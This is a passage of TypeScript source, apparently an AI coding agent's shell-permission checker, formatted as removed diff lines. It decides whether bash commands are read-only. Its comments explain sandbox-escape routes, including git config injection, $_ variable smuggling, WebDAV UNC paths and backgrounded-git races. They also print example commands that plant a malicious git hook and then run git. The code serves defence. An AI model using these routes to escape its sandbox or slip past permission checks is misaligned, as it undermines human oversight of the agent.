- }
1641
-
1642
- // Inside single quotes: everything is literal. Skip.
1643
- if (inSingleQuote) {
1644
- continue
1645
- }
1646
-
1647
- // Check `$` followed by variable-name or special-parameter character.
1648
- // `$` expands inside double quotes AND unquoted (only SQ makes it literal).
1649
- if (currentChar === '$') {
1650
- const next = command[i + 1]
1651
- if (next && /[A-Za-z_@*#?!$0-9-]/.test(next)) {
1652
- return true
1653
- }
1654
- }
1655
-
1656
- // Globs are literal inside double quotes too. Only check unquoted.
1657
- if (inDoubleQuote) {
1658
- continue
1659
- }
1660
-
1661
- // Check for glob characters outside all quotes.
1662
- // These could expand to anything, including dangerous flags.
1663
- if (currentChar && /[?*[\]]/.test(currentChar)) {
1664
- return true
1665
- }
1666
- }
1667
-
1668
- return false
1669
- }
1670
-
1671
- /**
1672
- * Checks if a single command string is read-only based on READONLY_COMMAND_REGEXES.
1673
- * Internal helper function that validates individual commands.
1674
- *
1675
- * @param command The command string to check
1676
- * @returns true if the command is read-only
1677
- */
1678
- function isCommandReadOnly(command: string): boolean {
1679
- // Handle common stderr-to-stdout redirection pattern
1680
- // This handles both "command 2>&1" at the end of a full command
1681
- // and "command 2>&1" as part of a pipeline component
1682
- let testCommand = command.trim()
1683
- if (testCommand.endsWith(' 2>&1')) {
1684
- // Remove the stderr redirection for pattern matching
1685
- testCommand = testCommand.slice(0, -5).trim()
1686
- }
1687
-
1688
- // Check for Windows UNC paths that could be vulnerable to WebDAV attacks
1689
- // Do this early to prevent any command with UNC paths from being marked as read-only
1690
- if (containsVulnerableUncPath(testCommand)) {
1691
- return false
1692
- }
1693
-
1694
- // Check for unquoted glob characters and expandable `$` variables that could
1695
- // bypass our regex-based security checks. We can't know what these expand to
1696
- // at runtime, so we can't verify the command is read-only.
1697
- //
1698
- // Globs: `python *` could expand to `python --help` if such a file exists.
1699
- //
1700
- // Variables: `uniq --skip-chars=0$_` — bash expands `$_` at runtime to the
1701
- // last arg of the previous command. With IFS word splitting, this smuggles
1702
- // positional args past "flags-only" regexes like uniq's `\S+`. The `$` token
1703
- // check inside isCommandSafeViaFlagParsing only covers COMMAND_ALLOWLIST
1704
- // commands; hand-written regexes in READONLY_COMMAND_REGEXES (uniq, jq, cd)
1705
- // have no such guard. See containsUnquotedExpansion for full analysis.
1706
- if (containsUnquotedExpansion(testCommand)) {
1707
- return false
1708
- }
1709
-
1710
- // Tools like git allow `--upload-pack=cmd` to be abbreviated as `--up=cmd`
1711
- // Regex filters can be bypassed, so we use strict allowlist validation instead.
1712
- // This requires defining a set of known safe flags. Claude can help with this,
1713
- // but please look over it to ensure it didn't add any flags that allow file writes
1714
- // code execution, or network requests.
1715
- if (isCommandSafeViaFlagParsing(testCommand)) {
1716
- return true
1717
- }
1718
-
1719
- for (const regex of READONLY_COMMAND_REGEXES) {
1720
- if (regex.test(testCommand)) {
1721
- // Prevent git commands with -c flag to avoid config options that can lead to code execution
1722
- // The -c flag allows setting arbitrary git config values inline, including dangerous ones like
1723
- // core.fsmonitor, diff.external, core.gitProxy, etc. that can execute arbitrary commands
1724
- // Check for -c preceded by whitespace and followed by whitespace or equals
1725
- // Using regex to catch spaces, tabs, and other whitespace (not part of other flags like --cached)
1726
- if (testCommand.includes('git') && /\s-c[\s=]/.test(testCommand)) {
1727
- return false
1728
- }
1729
-
1730
- // Prevent git commands with --exec-path flag to avoid path manipulation that can lead to code execution
1731
- // The --exec-path flag allows overriding the directory where git looks for executables
1732
- if (
1733
- testCommand.includes('git') &&
1734
- /\s--exec-path[\s=]/.test(testCommand)
1735
- ) {
1736
- return false
1737
- }
1738
-
1739
- // Prevent git commands with --config-env flag to avoid config injection via environment variables
1740
- // The --config-env flag allows setting git config values from environment variables, which can be
1741
- // just as dangerous as -c flag (e.g., core.fsmonitor, diff.external, core.gitProxy)
1742
- if (
1743
- testCommand.includes('git') &&
1744
- /\s--config-env[\s=]/.test(testCommand)
1745
- ) {
1746
- return false
1747
- }
1748
- return true
1749
- }
1750
- }
1751
- return false
1752
- }
1753
-
1754
- /**
1755
- * Checks if a compound command contains any git command.
1756
- *
1757
- * @param command The full command string to check
1758
- * @returns true if any subcommand is a git command
1759
- */
1760
- function commandHasAnyGit(command: string): boolean {
1761
- return splitCommand_DEPRECATED(command).some(subcmd =>
1762
- isNormalizedGitCommand(subcmd.trim()),
1763
- )
1764
- }
1765
-
1766
- /**
1767
- * Git-internal path patterns that can be exploited for sandbox escape.
1768
- * If a command creates these files and then runs git, the git command
1769
- * could execute malicious hooks from the created files.
1770
- */
1771
- const GIT_INTERNAL_PATTERNS = [
1772
- /^HEAD$/,
1773
- /^objects(?:\/|$)/,
1774
- /^refs(?:\/|$)/,
1775
- /^hooks(?:\/|$)/,
1776
- ]
1777
-
1778
- /**
1779
- * Checks if a path is a git-internal path (HEAD, objects/, refs/, hooks/).
1780
- */
1781
- function isGitInternalPath(path: string): boolean {
1782
- // Normalize path by removing leading ./ or /
1783
- const normalized = path.replace(/^\.?\//, '')
1784
- return GIT_INTERNAL_PATTERNS.some(pattern => pattern.test(normalized))
1785
- }
1786
-
1787
- // Commands that only delete or modify in-place (don't create new files at new paths)
1788
- const NON_CREATING_WRITE_COMMANDS = new Set(['rm', 'rmdir', 'sed'])
1789
-
1790
- /**
1791
- * Extracts write paths from a subcommand using PATH_EXTRACTORS.
1792
- * Only returns paths for commands that can create new files/directories
1793
- * (write/create operations excluding deletion and in-place modification).
1794
- */
1795
- function extractWritePathsFromSubcommand(subcommand: string): string[] {
1796
- const parseResult = tryParseShellCommand(subcommand, env => `$${env}`)
1797
- if (!parseResult.success) return []
1798
-
1799
- const tokens = parseResult.tokens.filter(
1800
- (t): t is string => typeof t === 'string',
1801
- )
1802
- if (tokens.length === 0) return []
1803
-
1804
- const baseCmd = tokens[0]
1805
- if (!baseCmd) return []
1806
-
1807
- // Only consider commands that can create files at target paths
1808
- if (!(baseCmd in COMMAND_OPERATION_TYPE)) {
1809
- return []
1810
- }
1811
- const opType = COMMAND_OPERATION_TYPE[baseCmd as PathCommand]
1812
- if (
1813
- (opType !== 'write' && opType !== 'create') ||
1814
- NON_CREATING_WRITE_COMMANDS.has(baseCmd)
1815
- ) {
1816
- return []
1817
- }
1818
-
1819
- const extractor = PATH_EXTRACTORS[baseCmd as PathCommand]
1820
- if (!extractor) return []
1821
-
1822
- return extractor(tokens.slice(1))
1823
- }
1824
-
1825
- /**
1826
- * Checks if a compound command writes to any git-internal paths.
1827
- * This is used to detect potential sandbox escape attacks where a command
1828
- * creates git-internal files (HEAD, objects/, refs/, hooks/) and then runs git.
1829
- *
1830
- * SECURITY: A compound command could bypass the bare repo detection by:
1831
- * 1. Creating bare git repo files (HEAD, objects/, refs/, hooks/) in the same command
1832
- * 2. Then running git, which would execute malicious hooks
1833
- *
1834
- * Example attack:
1835
- * mkdir -p objects refs hooks && echo '#!/bin/bash\nmalicious' > hooks/pre-commit && touch HEAD && git status
1836
- *
1837
- * @param command The full command string to check
1838
- * @returns true if any subcommand writes to git-internal paths
1839
- */
1840
- function commandWritesToGitInternalPaths(command: string): boolean {
1841
- const subcommands = splitCommand_DEPRECATED(command)
1842
-
1843
- for (const subcmd of subcommands) {
1844
- const trimmed = subcmd.trim()
1845
-
1846
- // Check write paths from path-based commands (mkdir, touch, cp, mv)
1847
- const writePaths = extractWritePathsFromSubcommand(trimmed)
1848
- for (const path of writePaths) {
1849
- if (isGitInternalPath(path)) {
1850
- return true
1851
- }
1852
- }
1853
-
1854
- // Check output redirections (e.g., echo x > hooks/pre-commit)
1855
- const { redirections } = extractOutputRedirections(trimmed)
1856
- for (const { target } of redirections) {
1857
- if (isGitInternalPath(target)) {
1858
- return true
1859
- }
1860
- }
1861
- }
1862
-
1863
- return false
1864
- }
1865
-
1866
- /**
1867
- * Checks read-only constraints for bash commands.
1868
- * This is the single exported function that validates whether a command is read-only.
1869
- * It handles compound commands, sandbox mode, and safety checks.
1870
- *
1871
- * @param input The bash command input to validate
1872
- * @param compoundCommandHasCd Pre-computed flag indicating if any cd command exists in the compound command.
1873
- * This is computed by commandHasAnyCd() and passed in to avoid duplicate computation.
1874
- * @returns PermissionResult indicating whether the command is read-only
1875
- */
1876
- export function checkReadOnlyConstraints(
1877
- input: z.infer<typeof BashTool.inputSchema>,
1878
- compoundCommandHasCd: boolean,
1879
- ): PermissionResult {
1880
- const { command } = input
1881
-
1882
- // Detect if the command is not parseable and return early
1883
- const result = tryParseShellCommand(command, env => `$${env}`)
1884
- if (!result.success) {
1885
- return {
1886
- behavior: 'passthrough',
1887
- message: 'Command cannot be parsed, requires further permission checks',
1888
- }
1889
- }
1890
-
1891
- // Check the original command for safety before splitting
1892
- // This is important because splitCommand_DEPRECATED may transform the command
1893
- // (e.g., ${VAR} becomes $VAR)
1894
- if (bashCommandIsSafe_DEPRECATED(command).behavior !== 'passthrough') {
1895
- return {
1896
- behavior: 'passthrough',
1897
- message: 'Command is not read-only, requires further permission checks',
1898
- }
1899
- }
1900
-
1901
- // Check for Windows UNC paths in the original command before transformation
1902
- // This must be done before splitCommand_DEPRECATED because splitCommand_DEPRECATED may transform backslashes
1903
- if (containsVulnerableUncPath(command)) {
1904
- return {
1905
- behavior: 'ask',
1906
- message:
1907
- 'Command contains Windows UNC path that could be vulnerable to WebDAV attacks',
1908
- }
1909
- }
1910
-
1911
- // Check once if any subcommand is a git command (used for multiple security checks below)
1912
- const hasGitCommand = commandHasAnyGit(command)
1913
-
1914
- // SECURITY: Block compound commands that have both cd AND git
1915
- // This prevents sandbox escape via: cd /malicious/dir && git status
1916
- // where the malicious directory contains fake git hooks that execute arbitrary code.
1917
- if (compoundCommandHasCd && hasGitCommand) {
1918
- return {
1919
- behavior: 'passthrough',
1920
- message:
1921
- 'Compound commands with cd and git require permission checks for enhanced security',
1922
- }
1923
- }
1924
-
1925
- // SECURITY: Block git commands if the current directory looks like a bare/exploited git repo
1926
- // This prevents sandbox escape when an attacker has:
1927
- // 1. Deleted .git/HEAD to invalidate the normal git directory
1928
- // 2. Created hooks/pre-commit or other git-internal files in the current directory
1929
- // Git would then treat the cwd as the git directory and execute malicious hooks.
1930
- if (hasGitCommand && isCurrentDirectoryBareGitRepo()) {
1931
- return {
1932
- behavior: 'passthrough',
1933
- message:
1934
- 'Git commands in directories with bare repository structure require permission checks for enhanced security',
1935
- }
1936
- }
1937
-
1938
- // SECURITY: Block compound commands that write to git-internal paths AND run git
1939
- // This prevents sandbox escape where a command creates git-internal files
1940
- // (HEAD, objects/, refs/, hooks/) and then runs git, which would execute
1941
- // malicious hooks from the newly created files.
1942
- // Example attack: mkdir -p hooks && echo 'malicious' > hooks/pre-commit && git status
1943
- if (hasGitCommand && commandWritesToGitInternalPaths(command)) {
1944
- return {
1945
- behavior: 'passthrough',
1946
- message:
1947
- 'Compound commands that create git internal files and run git require permission checks for enhanced security',
1948
- }
1949
- }
1950
-
1951
- // SECURITY: Only auto-allow git commands as read-only if we're in the original cwd
1952
- // (which is protected by sandbox denyWrite) or if sandbox is disabled (attack is moot).
1953
- // Race condition: a sandboxed command can create bare repo files in a subdirectory,
1954
- // and a backgrounded git command (e.g. sleep 10 && git status) would pass the
1955
- // isCurrentDirectoryBareGitRepo() check at evaluation time before the files exist.
1956
- if (
1957
- hasGitCommand &&
1958
- SandboxManager.isSandboxingEnabled() &&
1959
- getCwd() !== getOriginalCwd()
1960
- ) {
1961
- return {
1962
- behavior: 'passthrough',
1963
- message:
1964
- 'Git commands outside the original working directory require permission checks when sandbox is enabled',
1965
- }
1966
- }
1967
-
1968
- // Check if all subcommands are read-only
1969
- const allSubcommandsReadOnly = splitCommand_DEPRECATED(command).every(
1970
- subcmd => {
1971
- if (bashCommandIsSafe_DEPRECATED(subcmd).behavior !== 'passthrough') {
1972
- return false
1973
- }
1974
- return isCommandReadOnly(subcmd)
1975
- },
1976
- )
1977
-
1978
- if (allSubcommandsReadOnly) {
1979
- return {
1980
- behavior: 'allow',
1981
- updatedInput: input,
1982
- }
1983
- }
1984
-
1985
- // If not read-only, return passthrough to let other permission checks handle it
1986
- return {
1987
- behavior: 'passthrough',
1988
- message: 'Command is not read-only, requires further permission checks',
1989
- }
1990
- }